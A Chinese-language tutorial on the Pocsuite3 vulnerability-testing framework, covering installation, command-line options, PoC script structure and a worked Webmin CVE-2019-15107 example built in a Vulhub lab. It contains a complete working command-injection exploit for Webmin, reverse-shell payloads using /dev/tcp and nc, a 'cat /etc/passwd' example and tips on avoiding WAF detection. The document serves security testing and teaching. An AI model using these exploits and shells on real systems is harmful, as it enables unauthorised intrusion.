Pocsuite3 是由知道创宇 404 实验室打造的一款基于 GPLv2 许可证开源的远程漏洞测试框架。它在编写时参考了市面上许多成熟的开源框架,例如在代码工程结构上参考了Sqlmap,而Pocsuite-console交互模式则借鉴了routersploit与metasploit的设计。自2015年开源以来,Pocsuite3持续更新迭代,为安全研究人员提供了一个强大的渗透测试工具。
官网: https://pocsuite.org/guide/what-is-pocsuite3.html
功能特性介绍
漏洞测试框架
Pocsuite3 采用 Python3 编写,支持 验证、利用及 shell 三种核心模式。你可以针对单个目标或批量导入的目标,使用一个或多个 PoC 脚本进行漏洞的检测或利用。它既可以通过命令行直接调用,也支持类似 Metasploit 的交互式控制台。此外,还内置了报告输出等实用功能。
PoC/Exp 开发包
Pocsuite3 本身也是一个 PoC/Exp 的 SDK(开发工具包)。它封装了基础的 PoC 基类及大量常用方法(如 Webshell 操作)。基于此框架进行开发,你只需专注于编写最核心的漏洞验证逻辑,而无需关心结果输出、线程调度等繁琐细节。所有基于 Pocsuite3 编写的 PoC/Exp 都可以直接被框架调用,在 Seebug 漏洞平台上已有数千个此类脚本。
可被集成模块
除了作为独立的工具使用,Pocsuite3 还能作为一个 Python 包,被集成到其他安全产品或自动化系统中。它提供了清晰的 API 接口,方便开发者进行二次开发,构建自定义的漏洞扫描或验证平台。
集成多个安全服务的API
Pocsuite3 集成了 ZoomEye、Seebug、Ceye、Shodan 等主流安全服务的 API。利用此功能,你可以通过 ZoomEye API 的 Dork 语法批量获取潜在目标,同时从 Seebug API 拉取对应漏洞的 PoC,实现从目标发现到漏洞验证的自动化流程。Ceye 等 DNSLog 平台则可用于辅助验证无回显的漏洞(如盲注、盲打)。
主要特性概览
- 支持 verify(验证)、attack(攻击)、shell(交互)三种模式,不仅用于扫描,也可用于漏洞利用。
- 支持从本地文件、数据库、Redis、Seebug 等多种来源动态加载 PoC 脚本。
- 支持从本地文件、CIDR、数据库、ZoomEye 等多种来源加载目标。
- 灵活的插件系统,支持自定义 TARGETS、POCS、RESULTS 类型插件。
- 动态 Hook
urllib3 和 requests 库,方便 PoC 编写和全局流量控制。
- 完美支持 IPv4/IPv6。
- 支持全局 HTTP/HTTPS/SOCKS 代理。
- 从
2.0.0 版本开始,支持 YAML 格式的 PoC,兼容 nuclei 的模板规范。
- 集成 ZoomEye、Shodan、Fofa 等网络空间搜索引擎的 API。
- 集成 Ceye、Interactsh 等 DNSLog 平台。
相比于 Metasploit,Pocsuite3 更轻量,目前不具备后渗透能力。相比于其他 YAML 格式的 PoC 框架,Pocsuite3 基于 Python,允许直接使用丰富的第三方库,对开发者更为友好灵活。
安装方法
Pocsuite3 基于 Python3 开发,支持 Python 3.7+ 以及 Linux、Windows、macOS、BSD 等主流平台。
使用 pip 安装
通过 pip 安装时,务必注意包名是 pocsuite3 而不是 pocsuite。
pip3 install pocsuite3
# 使用国内镜像加速安装
pip3 install -i https://pypi.tuna.tsinghua.edu.cn/simple pocsuite3
通过源码安装
访问 GitHub 仓库下载源码并解压:
https://github.com/knownsec/pocsuite3

解压后,cli.py 和 console.py 是两个主要的入口文件,分别对应命令行模式和交互式控制台模式。
架构简析
整体而言,Pocsuite3 框架主要包含四个核心部分:目标收集、PoC 脚本加载、多线程检测、结果汇总。

这张架构图列出了工具许多重要且常用的参数,建议仔细查看。
运行方式
Pocsuite3 支持三种运行方式:命令行、交互式控制台、以及集成调用。
命令行运行
通过 pip 安装后,直接在终端使用 pocsuite 命令,例如:pocsuite -r poc.py -u xxx.com。也可以将参数定义在 pocsuite.ini 配置文件中,通过 pocsuite -c pocsuite.ini 运行。
通过源码安装后,在解压目录的 /pocsuite3 路径下运行 python cli.py -r poc.py 其他参数。本质上是将 pocsuite 命令替换为 python cli.py。
目标加载
-u 或 --url:指定单个 URL 或 CIDR(支持 IPv4/IPv6)。
-f 或 --file:从文件加载多个目标(每行一个,# 开头为注释)。
-p 或 --ports:为目标添加额外端口,格式:[协议:]端口,多个用逗号分隔。例如:pocsuite -r poc.py -u 172.16.218.1/31 -p 8080,https:8443
--dork-fofa / --fofa-user / --fofa-token:通过 Fofa API 批量获取目标。
--dork-hunter / --hunter-token:通过 Hunter API 批量获取目标。
PoC 脚本加载
-r 或 --poc:指定 PoC 脚本文件或目录。
-k:通过关键词(支持正则)筛选 PoC,如组件名、CVE 编号。若只使用 -k,默认从 pocsuite3/pocs 目录加载 PoC。
运行模式控制
--verify:验证模式,执行 PoC 的 _verify() 方法,检查漏洞是否存在(默认模式)。
--attack:攻击模式,执行 PoC 的 _attack() 方法,进行更深入的利用。
--shell:交互式 shell 模式,执行 PoC 的 _shell() 方法,获取目标交互式 shell。默认监听本机 6666 端口(可通过 --lhost、--lport 修改)。如需 TLS 加密连接,可添加 --tls 参数。
--threads:设置并发线程数,默认为 Min(150, 目标总数)。
网络控制
--proxy:设置全局代理,支持 http, https, socks4, socks5, socks5h。例如:--proxy socks5://127.0.0.1:9150。如需认证,配合 --proxy-cred 使用。
- 其他常用选项:
--cookie, --host, --referer, --retry, --delay, --headers。
结果输出
-v / --ppt:控制台日志级别与 IP 脱敏。-v 调整日志详细程度,--ppt 可对 IP 打码,方便录屏演示。
-o / --output:将结果保存为 JSON Lines 格式文件。
pocsuite -k ecshop -u 127.0.0.1 -v 2 --ppt
...
[17:47:51] [INFO] loading PoC script 'pocsuite3/pocs/ecshop_rce.py'
[17:47:51] [INFO] pocsusite got a total of 1 tasks
[17:47:51] [DEBUG] pocsuite will open 1 threads
[17:47:51] [INFO] running poc:'Ecshop 2.x/3.x Remote Code Execution' target '*.*.0.1'
[17:47:54] [INFO] Scan completed,ready to print
+------------+--------------------------------------+--------+-----------+---------+--------+
| target-url | poc-name | poc-id | component | version | status |
+------------+--------------------------------------+--------+-----------+---------+--------+
| ..0.1 | Ecshop 2.x/3.x Remote Code Execution | 97343 | ECSHOP | 2.x,3.x | failed |
+------------+--------------------------------------+--------+-----------+---------+--------+
success : 0 / 1
...
#### 自定义参数与配置
* `--args`:为 PoC 脚本传递自定义参数。
* `--options`:查看指定 PoC 支持的自定义参数。
```bash
pocsuite -k ecshop --options
...
Module (pocs_ecshop_rce) options:
+-------------+------------------------------------------+--------+--------------------------------------------------------------------------+
| Name | Current settings | Type | Description |
+-------------+------------------------------------------+--------+--------------------------------------------------------------------------+
| command | whoami | String | 攻击时自定义命令 |
| app_version | Auto | Select | 目标版本,可自动匹配 |
| payload | bash -c 'sh -i >& /dev/tcp/{0}/{1} 0>&1' | Dict | nc:rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc {0} {1} >/tmp/f |
| | | | bash:bash -c 'sh -i >& /dev/tcp/{0}/{1} 0>&1' |
| | | | You can select dict_keys(['nc', 'bash']) ,default:bash |
+-------------+------------------------------------------+--------+--------------------------------------------------------------------------+
-n / --new:交互式生成 PoC 模板。
-c:通过配置文件 pocsuite.ini 提供所有运行参数。

控制台交互模式运行
通过 pip 安装:运行 poc-console 进入交互控制台。可使用 help 查看帮助,show all 列出所有 PoC 模块,use 加载指定模块,set / setg 设置参数(操作逻辑与 MSF 高度相似)。
通过源码安装:在源码目录运行 python console.py 即可进入。
集成调用
Pocsuite3 提供了完整的 API,可以像普通 Python 模块一样被导入和调用,方便集成到其他系统中。具体用法可参考源码中的测试用例 tests/test_import_pocsuite_execute.py。
PoC 脚本编写规范与步骤
在 Pocsuite3 中,PoC 脚本对应三种运行模式:
verify 模式:验证漏洞存在。应尽可能无害,且通常不需要用户额外输入。
attack 模式:执行攻击利用,如获取数据、执行命令等。
shell 模式:获取目标的交互式 shell。
这三种模式在 PoC 类中分别由 _verify()、_attack()、_shell() 三个方法实现。
自定义编写 PoC 脚本步骤
- 新建
.py 文件:建议遵循命名格式 _编号_应用名_版本_漏洞类型.py,例如 _s01_webmin_1.920_codexec.py。文件名应全小写并用下划线连接。
- 导入基类并创建 PoC 类:从
pocsuite3.api 导入必要模块,创建继承自 POCBase 的类。
from pocsuite3.api import (
minimum_version_required, POCBase, register_poc, requests, logger,
OptString, OrderedDict,
random_str,
get_listener_ip, get_listener_port, REVERSE_PAYLOAD
)
class DemoPOC(POCBase):
后续代码
3. **填写 PoC 信息字段**:这些字段用于描述漏洞和 PoC 本身,便于管理和检索。
```python
class DemoPOC(POCBase):
vulID = '99335' # Seebug 漏洞 ID,没有则为0
version = '1' # PoC版本
author = 'seebug' # 作者
vulDate = '2021-8-18' # 漏洞公开日期
createDate = '2021-8-20' # PoC编写日期
updateDate = '2021-8-20' # PoC更新日期
references = ['https://www.seebug.org/vuldb/ssvid-99335'] # 参考链接
name = 'Fortinet FortiWeb 授权命令执行 (CVE-2021-22123)' # PoC名称
appPowerLink = 'https://www.fortinet.com' # 厂商主页
appName = 'FortiWeb' # 应用名称
appVersion = '<=6.4.0' # 影响版本
vulType = 'Code Execution' # 漏洞类型
desc = '/api/v2.0/user/remoteserver.saml接口的name参数存在命令注入' # 漏洞描述
samples = ['http://192.168.1.1'] # 测试成功样例
install_requires = ['BeautifulSoup4:bs4'] # 第三方依赖
pocDesc = ''' poc的用法描述 '''
- 编写漏洞利用核心方法
_exploit:该方法负责构造并发送 网络请求,是实现漏洞验证或攻击的核心。_verify、_attack、_shell 方法默认都会调用它。
def _exploit(self, cmd='whoami'):
result = ''
payload = f'xxxxxxyyyyyyy{cmd}nnnnnnn' # 构造Payload
# self.url 是 POCBase 提供的目标属性
res = requests.post(self.url, data=payload)
logger.debug(res.text)
result = res.text
return result
- 编写验证模式方法
_verify:实现漏洞验证逻辑,成功时应返回包含结果的字典,并通过 self.parse_output() 格式化输出。
def _verify(self, verify=True):
result = {}
res = self._exploit()
# 根据返回包内容判断漏洞是否存在
if 漏洞验证条件:
result['VerifyInfo'] = {}
result['VerifyInfo']['URL'] = self.url
return self.parse_output(result)
- 编写攻击模式方法
_attack:实现攻击利用逻辑,结构与 _verify 类似。如果无需攻击模式,可直接返回 self._verify()。
def _attack(self):
result = {}
# 攻击代码,例如执行自定义命令
res = self._exploit(cmd='ppppp')
if 攻击成功条件:
result['ShellInfo'] = {}
result['ShellInfo']['URL'] = self.url
return self.parse_output(result)
# 若无特殊攻击逻辑,可简化为:
def _attack(self):
return self._verify()
- 编写 shell 模式方法
_shell:实现获取交互式 shell 的逻辑。框架默认监听 6666 端口。如果无需此模式,可直接返回 self._verify()。
def _shell(self):
cmd = REVERSE_PAYLOAD.BASH.format(get_listener_ip(), get_listener_port())
# 执行反弹shell的命令
self._exploit(cmd)
- 注册 PoC:在类定义外部,使用
register_poc() 注册你的 PoC 类。
register_poc(DemoPOC)
快速生成 PoC 模板
Pocsuite3 提供了快速生成模板的功能,运行 pocsuite -n 或 python cli.py -n 即可进入交互式生成向导。

最简化 PoC 示例
POCBase 基类为所有属性设置了默认值,因此可以编写极其简化的 PoC。
from pocsuite3.api import *
class TestPOC(POCBase):
# 为了区分,建议至少提供 name 属性
# name = ''
def _verify(self):
result = {}
# 自定义验证逻辑
# 如果漏洞存在
# result['VerifyInfo'] = {'URL': self.url}
return self.parse_output(result)
register_poc(TestPOC)
为 PoC 添加自定义参数
如果 PoC 需要接收用户输入(如登录凭据、要执行的命令),可以在 PoC 类中定义 _options() 方法。
from pocsuite3.api import OptString, OrderedDict
def _options(self):
o = OrderedDict()
# 定义一个名为 cmd 的字符串参数,默认值为 'uname -a'
o['cmd'] = OptString('uname -a', description='需要执行的命令', require=True)
return o
def _attack(self):
result = {}
# 通过 self.get_option('key') 获取用户输入的值
command = self.get_option('cmd')
res = self._exploit(cmd=command)
# ... 处理结果
return self.parse_output(result)
在命令行中使用时,通过 --cmd "cat /etc/passwd" 来传递参数。在控制台模式下,则使用 set cmd "cat /etc/passwd" 进行设置。
PoC 开发注意事项

主要注意事项包括:
- 尽量避免使用第三方模块,如必须使用,请在
install_requires 字段中正确声明。
- 优先使用 Pocsuite3 已封装的 API,避免重复造轮子。
- PoC 应尽可能无需输入参数,或为参数提供合理的默认值,以支持批量扫描。
- 结果输出时应包含必要的取证信息。
- 漏洞判断应使用随机字符串而非固定特征,以避免误报和被 WAF 识别。
更多详细规范请参阅官方文档。
实战案例:Webmin 未授权命令执行 (CVE-2019-15107) PoC 编写
本节通过一个真实漏洞,演示完整的 PoC 开发过程。
环境搭建与漏洞复现
使用 Vulhub 快速搭建靶场。在漏洞目录下执行:
sudo service docker start
sudo docker-compose build
sudo docker-compose up -d
靶场启动后,访问 https://your-ip:10000 可见 Webmin 登录界面。

通过抓包分析,向 /password_change.cgi 路径发送特定 POST 请求可实现未授权命令执行,其中 old 参数值即为执行的命令。
POST /password_change.cgi HTTP/1.1
Host: 192.168.34.132:10000
...
Content-Type: application/x-www-form-urlencoded
user=rootxx&pam=&expired=2&old=whoami&new1=1111&new2=1111
完整 PoC 脚本
from pocsuite3.api import (
minimum_version_required, POCBase, register_poc, requests, logger,
OptString, OrderedDict,
random_str,
get_listener_ip, get_listener_port, REVERSE_PAYLOAD
)
import re
class DemoPOC(POCBase):
vulID = 's01'
version = '1'
author = 'skyx'
name = 'webmin命令执行'
appName = 'Webmin'
appVersion = '<=1.920'
vulType = 'Code Execution'
desc = 'webmin<=1.920版本存在命令执行'
pocDesc = ''' 先使用verify模式直接运行验证漏洞是否存在,再attack模式使用--cmd 参数可以达到任意命令执行的效果 '''
def _exploit(self, param=''):
# 使用 _check 方法进行预检查,避免攻击蜜罐。仅对包含特定标题的站点进行测试。
if not self._check(dork='<title>Login to Webmin</title>'):
return False
headers = {
'Content-Type': 'application/x-www-form-urlencoded',
'Referer': f'{self.url}/session_login.cgi'
}
payload = f'user=rootxx&pam=&expired=2&old=test|{param}&new1=test2&new2=test2'
res = requests.post(f'{self.url}/password_change.cgi', headers=headers, data=payload)
logger.debug(res.text)
return res.text.split('The current password is incorrect')[-1].split('</h3></center>')[0]
def _verify(self):
result = {}
flag = random_str(6) # 生成随机字符串作为验证标志,防止误报
param = f'echo {flag}'
res = self._exploit(param)
if res and flag in res:
result['VerifyInfo'] = {}
result['VerifyInfo']['URL'] = self.url
result['VerifyInfo']['Postdata'] = f'user=rootxx&pam=&expired=2&old=test|{param}&new1=test2&new2=test2'
return self.parse_output(result)
def _options(self):
o = OrderedDict()
o['cmd'] = OptString('uname -a', description='需要执行的命令', require=True)
return o
def _attack(self):
result={}
value=self._exploit(self.get_option('cmd'))
if value:
result['ShellInfo']={}
result['ShellInfo']['URL']=self.url
result['ShellInfo']['Content']=value #输出命令执行结果
return self.parse_output(result)
register_poc(DemoPOC)
self._check() 方法说明:该方法用于执行端口检查、协议自动纠正、首页关键词匹配及简单的蜜罐检查,能有效减少误报和向蜜罐发送攻击载荷的风险。
运行效果
验证模式 (--verify):执行默认的漏洞验证。

攻击模式 (--attack):通过 --cmd 参数执行自定义命令。

通过这个案例,你可以清晰地看到如何将漏洞分析转化为一个结构清晰、功能完整的 Pocsuite3 PoC 脚本,并利用框架的强大功能进行验证和利用。
掌握 Pocsuite3 的使用和 PoC 编写,能极大提升安全研究和技术测试的效率。无论是批量资产巡检还是单一漏洞的深入利用,它都是一个值得深入学习的工具。在云栈社区的技术交流版块,你还可以找到更多关于安全工具使用和开发的深度讨论。